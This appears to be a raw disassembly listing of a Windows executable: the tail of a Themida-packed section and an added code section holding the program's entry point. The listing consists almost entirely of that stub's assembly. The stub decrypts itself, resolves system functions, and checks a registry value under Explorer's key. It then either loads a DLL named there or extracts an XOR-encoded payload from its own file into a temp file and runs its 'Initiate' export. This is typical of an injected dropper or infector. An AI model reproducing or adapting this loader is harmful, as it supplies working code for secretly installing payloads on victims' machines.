		dd 66B3D180h, 0B54CCE81h, 22E32DBFh, 12E825h, 0DFBF0000h
		dd 37ACE145h, 8973291Bh, 9FB02FC0h, 0C2166017h,	805AC88Bh
		dd 0FE9C2C8h, 0EE000000h, 516FD868h, 5211528Eh,	0FA5178Ah
		dd 8E0FFA7Bh, 1Ch, 16810Fh, 11E90000h, 1B000000h, 0BFD691ACh
		dd 7D0BBEEh, 356F1C70h,	778B887Bh, 8E9h, 0F1F41700h, 30A457CBh
		dd 0E2CF8048h, 0BEF7BF0Fh, 55C7F635h, 7870Fh, 51600000h
		dd 0D38B665Eh, 5830F61h, 0BE000000h, 5B281FD6h,	48E0Fh
		dd 0BE660000h, 9E96B76h, 3C000000h, 0A8228547h,	0C80DF317h
		dd 14E8h, 268E3D00h, 94C1D82Ah,	0CF6E292Ch, 0EC24D470h
		dd 207E3653h, 8E90Ch, 566C0000h, 6A46BDDDh, 0F5B885Fh
		dd 158Eh, 0F850F00h, 0E9000000h, 0Ah, 2CB156B8h, 25C0DF14h
		dd 0CF8B6690h, 11E9h, 12E65300h, 2B465C91h, 0D50C45A0h
		dd 4D9E8818h, 8166C15Eh, 66B609CAh, 880FDF8Bh, 24h, 11E8h
		dd 35E67C00h, 199CA1BCh, 0B0CA94F7h, 0C07D0E20h, 8E9A393h
		dd 0F0000000h, 0EED8B1AAh, 5BE3A87Eh, 9E9h, 1CE8E900h
		dd 2D89B667h, 0AE98D02h, 7A000000h, 0DD303F76h,	57AEC827h
		dd 0B2D38B11h, 9B5AB928h, 81663F82h, 60DAE6EAh,	0DA80C38Bh
		dd 0BB6661B0h, 0EE813066h, 88EBC54h, 7E9h, 5C10C400h, 0C7F99717h
		dd 0D78B5650h, 8B0F5A59h, 3, 0F9F88B66h, 8E960h, 433E0000h
		dd 86CEB526h, 8061774Ch, 0BF0FC3C5h, 816651CFh,	5FCCA9D7h
		dd 14860FF8h, 0F000000h, 0E82h,	9E900h,	43B30000h, 0F58BD685h
		dd 661255F9h, 0F281F08Bh, 573C52C1h, 330BBB66h,	666160F5h
		dd 0FCDD4B8h, 588h, 0CA816600h,	0BF2C7130h, 570h dup(0BF2CF536h)
		dd 0F483F536h, 6Bh dup(0F483AF5Fh), 2FA9D75Fh, 1AAh dup(2FA9D4E4h)
		dd 7CA9D4E4h, 58h dup(7CAFC745h), 66321A45h, 2B0h dup(66321AFDh)
		dd 0CC321AFDh, 481h dup(0CCCCCCCCh)
asc_5BF680	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:0055D70Co
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллл',0
		align 800h
Themida_	ends

; Section 5. (virtual address 001C1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 001C1000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_yvs_		segment	para public 'CODE' use32
		assume cs:_yvs_
		;org 5C1000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

		public start
start:
		push	2E5CF5h
		pop	ebx
		nop
		nop
		mov	edi, offset loc_5C101C
		nop
		mov	edx, 598h


loc_5C1013:				; CODE XREF: .yvs_:loc_5C101Cj
		xor	[edx+edi], ebx
		sub	edx, 3
		dec	edx
		nop
		nop


loc_5C101C:				; DATA XREF: .yvs_:005C1008o
		jnz	short loc_5C1013
		nop
		nop
		call	sub_5C11A2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 400000h, 0E0014h, 7BE00h, 7C3D6h, 2B000h, 0FFFFFFFFh
		dd 4DF000h, 4DF05Fh, 4DF06Dh, 3	dup(0)
		dd 1D600h, 0DF05Dh, 0DF06Bh, 4 dup(0)
		dd offset dword_4DF000
		dd 0Ah dup(0)
		db 0F5h	; У
		db 5Ch,	2Eh, 0
		db  4Bh	; K
		db 65h,	72h, 6Eh
		db  65h	; e
		db 6Ch,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
aGettemppatha	db 'GetTempPathA',0
aGettempfilenam	db 'GetTempFileNameA',0
aCreatefilea	db 'CreateFileA',0
aReadfile_0	db 'ReadFile',0
aWritefile	db 'WriteFile',0
aSetfilepointer	db 'SetFilePointer',0
aClosehandle	db 'CloseHandle',0
aGettickcount	db 'GetTickCount',0
aGetmodulefilen	db 'GetModuleFileNameA',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aRegopenkeyex_0	db 'RegOpenKeyExA',0
aRegqueryvalu_0	db 'RegQueryValueExA',0
aRegclosekey_0	db 'RegCloseKey',0
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
aPinf		db 'PINF',0
aInitiate	db 'Initiate',0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C11A2	proc near		; CODE XREF: .yvs_:005C1020p

var_140		= word ptr -140h
var_13E		= byte ptr -13Eh
var_38		= byte ptr -38h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		mov	eax, ebp
		add	eax, 4
		mov	edx, ebp
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, [eax]
		lea	ecx, [ebp+var_38]
		sub	edi, 5
		mov	eax, [edi+0Ch]
		lea	esi, [edi+84h]
		add	eax, [edi+8]
		add	edx, 4
		mov	[edx], eax
		push	esi
		push	edi
		push	ecx
		call	sub_5C1242
		test	al, al
		jz	short loc_5C123A
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		lea	edx, [ebp+var_140]
		push	edx
		call	sub_5C134E
		test	al, al
		jz	short loc_5C120F
		cmp	[ebp+var_140], 7
		jb	short loc_5C120F
		push	esi
		push	edi
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	eax, [ebp+var_13E]
		push	eax
		call	sub_5C13B6
		mov	ebx, eax


loc_5C120F:				; CODE XREF: sub_5C11A2+4Dj
					; sub_5C11A2+57j
		test	bl, bl
		jnz	short loc_5C123A
		push	edi
		lea	eax, [ebp+var_38]
		push	eax
		lea	edx, [ebp+var_13E]
		push	edx
		call	sub_5C13EE
		test	al, al
		jz	short loc_5C123A
		push	esi
		push	edi
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	eax, [ebp+var_13E]
		push	eax
		call	sub_5C13B6


loc_5C123A:				; CODE XREF: sub_5C11A2+38j
					; sub_5C11A2+6Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_5C11A2	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C1242	proc near		; CODE XREF: sub_5C11A2+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	edx, [eax+20h]
		mov	ecx, [edx]
		mov	[ebx], ecx
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+20h]
		add	edx, 4
		mov	ecx, [edx]
		mov	[ebx+4], ecx
		push	edi
		call	dword ptr [ebx]
		mov	esi, eax
		test	esi, esi
		jz	loc_5C12FF
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+24h]
		push	esi
		call	dword ptr [ebx+4]
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx+20h]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+28h]
		push	esi
		call	dword ptr [ebx+4]
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx+20h]
		add	ecx, 4
		mov	[ecx], eax
		lea	eax, [edi+0Dh]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+8], eax
		lea	edx, [edi+1Ah]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+0Ch], eax
		lea	ecx, [edi+2Bh]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+10h], eax
		lea	eax, [edi+37h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+14h], eax
		lea	edx, [edi+40h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+18h], eax
		lea	ecx, [edi+4Ah]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+1Ch], eax
		lea	eax, [edi+59h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+20h], eax
		lea	edx, [edi+65h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+24h], eax
		lea	ecx, [edi+72h]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+28h], eax
		jmp	short loc_5C1303
; ---------------------------------------------------------------------------


loc_5C12FF:				; CODE XREF: sub_5C1242+2Bj
		xor	eax, eax
		jmp	short loc_5C1344
; ---------------------------------------------------------------------------


loc_5C1303:				; CODE XREF: sub_5C1242+BBj
		lea	edx, [edi+85h]
		push	edx
		call	dword ptr [ebx]
		mov	esi, eax
		test	esi, esi
		jz	short loc_5C133E
		lea	eax, [edi+92h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+2Ch], eax
		lea	edx, [edi+0A0h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+30h], eax
		add	edi, 0B1h
		push	edi
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+34h], eax
		jmp	short loc_5C1342
; ---------------------------------------------------------------------------


loc_5C133E:				; CODE XREF: sub_5C1242+CEj
		xor	eax, eax
		jmp	short loc_5C1344
; ---------------------------------------------------------------------------


loc_5C1342:				; CODE XREF: sub_5C1242+FAj
		mov	al, 1


loc_5C1344:				; CODE XREF: sub_5C1242+BFj
					; sub_5C1242+FEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_5C1242	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C134E	proc near		; CODE XREF: sub_5C11A2+46p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_4]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_8], 106h
		push	eax
		push	20019h
		lea	edx, [edi+0BDh]
		push	0
		push	edx
		push	80000001h
		call	dword ptr [esi+2Ch]
		test	eax, eax
		jnz	short loc_5C13AA
		lea	ecx, [ebp+var_8]
		add	edi, 0F0h
		push	ecx
		push	[ebp+arg_0]
		push	0
		push	0
		push	edi
		push	[ebp+var_4]
		call	dword ptr [esi+30h]
		test	eax, eax
		setz	bl
		and	ebx, 1
		push	[ebp+var_4]
		call	dword ptr [esi+34h]


loc_5C13AA:				; CODE XREF: sub_5C134E+34j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_5C134E	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C13B6	proc near		; CODE XREF: sub_5C11A2+66p
					; sub_5C11A2+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [ebx]
		test	eax, eax
		jz	short loc_5C13E5
		mov	edx, [ebp+arg_C]
		add	edx, 0F5h
		push	edx
		push	eax
		call	dword ptr [ebx+4]
		test	eax, eax
		jz	short loc_5C13E5
		push	[ebp+arg_8]
		call	eax
		test	al, al
		jz	short loc_5C13E5
		mov	al, 1
		jmp	short loc_5C13E7
; ---------------------------------------------------------------------------


loc_5C13E5:				; CODE XREF: sub_5C13B6+Ej
					; sub_5C13B6+20j ...
		xor	eax, eax


loc_5C13E7:				; CODE XREF: sub_5C13B6+2Dj
		pop	ebx
		pop	ebp
		retn	10h
sub_5C13B6	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C13EE	proc near		; CODE XREF: sub_5C11A2+7Dp

var_2914	= byte ptr -2914h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2


loc_5C13F7:				; CODE XREF: sub_5C13EE+11j
		add	esp, 0FFFFF004h
		push	eax
		dec	eax
		jnz	short loc_5C13F7
		mov	eax, [ebp+var_4]
		add	esp, 0FFFFF6F0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		call	dword ptr [ebx+28h]
		push	0
		push	1
		push	3
		push	0
		push	1
		lea	edx, [ebp+var_114]
		push	80000000h
		push	edx
		call	dword ptr [ebx+10h]
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_5C1577
		lea	eax, [ebp+var_114]
		push	eax
		push	104h
		call	dword ptr [ebx+8]
		call	dword ptr [ebx+24h]
		mov	[ebp+var_8], eax
		xor	ecx, ecx


loc_5C145F:				; CODE XREF: sub_5C13EE+8Bj
		xor	eax, eax
		mov	al, byte ptr [ebp+ecx+var_8]
		push	ecx
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		pop	ecx
		add	al, 61h
		mov	byte ptr [ebp+ecx+var_8], al
		inc	ecx
		cmp	ecx, 2
		jle	short loc_5C145F
		mov	byte ptr [ebp+var_8+3],	0
		push	esi
		push	0
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	eax, [ebp+var_114]
		push	eax
		call	dword ptr [ebx+0Ch]
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebx+10h]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	loc_5C156D
		mov	edx, [ebp+arg_8]
		mov	esi, [edx+18h]
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+14h]
		push	edi
		call	dword ptr [ebx+1Ch]
		cmp	esi, 2800h
		jbe	short loc_5C1525


loc_5C14CF:				; CODE XREF: sub_5C13EE+135j
		push	0
		lea	edx, [ebp+var_10]
		push	edx
		push	2800h
		lea	ecx, [ebp+var_2914]
		push	ecx
		push	edi
		call	dword ptr [ebx+14h]
		push	2800h
		lea	eax, [ebp+var_2914]
		push	eax
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+80h]
		call	sub_5C158A
		lea	ecx, [ebp+var_10]
		push	0
		push	ecx
		lea	eax, [ebp+var_2914]
		push	2800h
		push	eax
		push	[ebp+var_C]
		call	dword ptr [ebx+18h]
		sub	esi, 2800h
		cmp	esi, 2800h
		ja	short loc_5C14CF


loc_5C1525:				; CODE XREF: sub_5C13EE+DFj
		push	0
		lea	edx, [ebp+var_10]
		push	edx
		push	esi
		lea	ecx, [ebp+var_2914]
		push	ecx
		push	edi
		call	dword ptr [ebx+14h]
		push	esi
		lea	eax, [ebp+var_2914]
		push	eax
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+80h]
		call	sub_5C158A
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		lea	eax, [ebp+var_2914]
		push	eax
		push	[ebp+var_C]
		call	dword ptr [ebx+18h]
		push	[ebp+var_C]
		call	dword ptr [ebx+20h]
		mov	byte ptr [ebp+var_4+3],	1
		jmp	short loc_5C1571
; ---------------------------------------------------------------------------


loc_5C156D:				; CODE XREF: sub_5C13EE+BFj
		mov	byte ptr [ebp+var_4+3],	0


loc_5C1571:				; CODE XREF: sub_5C13EE+17Dj
		push	edi
		call	dword ptr [ebx+20h]
		jmp	short loc_5C157B
; ---------------------------------------------------------------------------


loc_5C1577:				; CODE XREF: sub_5C13EE+54j
		mov	byte ptr [ebp+var_4+3],	0


loc_5C157B:				; CODE XREF: sub_5C13EE+187j
		mov	al, byte ptr [ebp+var_4+3]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_5C13EE	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C158A	proc near		; CODE XREF: sub_5C13EE+10Cp
					; sub_5C13EE+15Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jns	short loc_5C159E
		add	ecx, 3


loc_5C159E:				; CODE XREF: sub_5C158A+Fj
		sar	ecx, 2
		xor	eax, eax
		cmp	ecx, eax
		jle	short loc_5C15AF


loc_5C15A7:				; CODE XREF: sub_5C158A+23j
		xor	[edx+eax*4], ebx
		inc	eax
		cmp	ecx, eax
		jg	short loc_5C15A7


loc_5C15AF:				; CODE XREF: sub_5C158A+1Bj
		pop	ebx
		pop	ebp
		retn	0Ch
sub_5C158A	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dw 2Eh
aLoadlibrarya	db 'LoadLibraryA',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		dw 6B8h
		dd 5CF7007Eh, 5CF1002Eh, 0A30A0021h, 5C4D002Eh,	5CF5002Eh
		dd 5CB5002Eh, 5CF50034h, 3 dup(5CF5002Eh), 280h	dup(0)
_yvs_		ends

; Section 6. (virtual address 001C2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start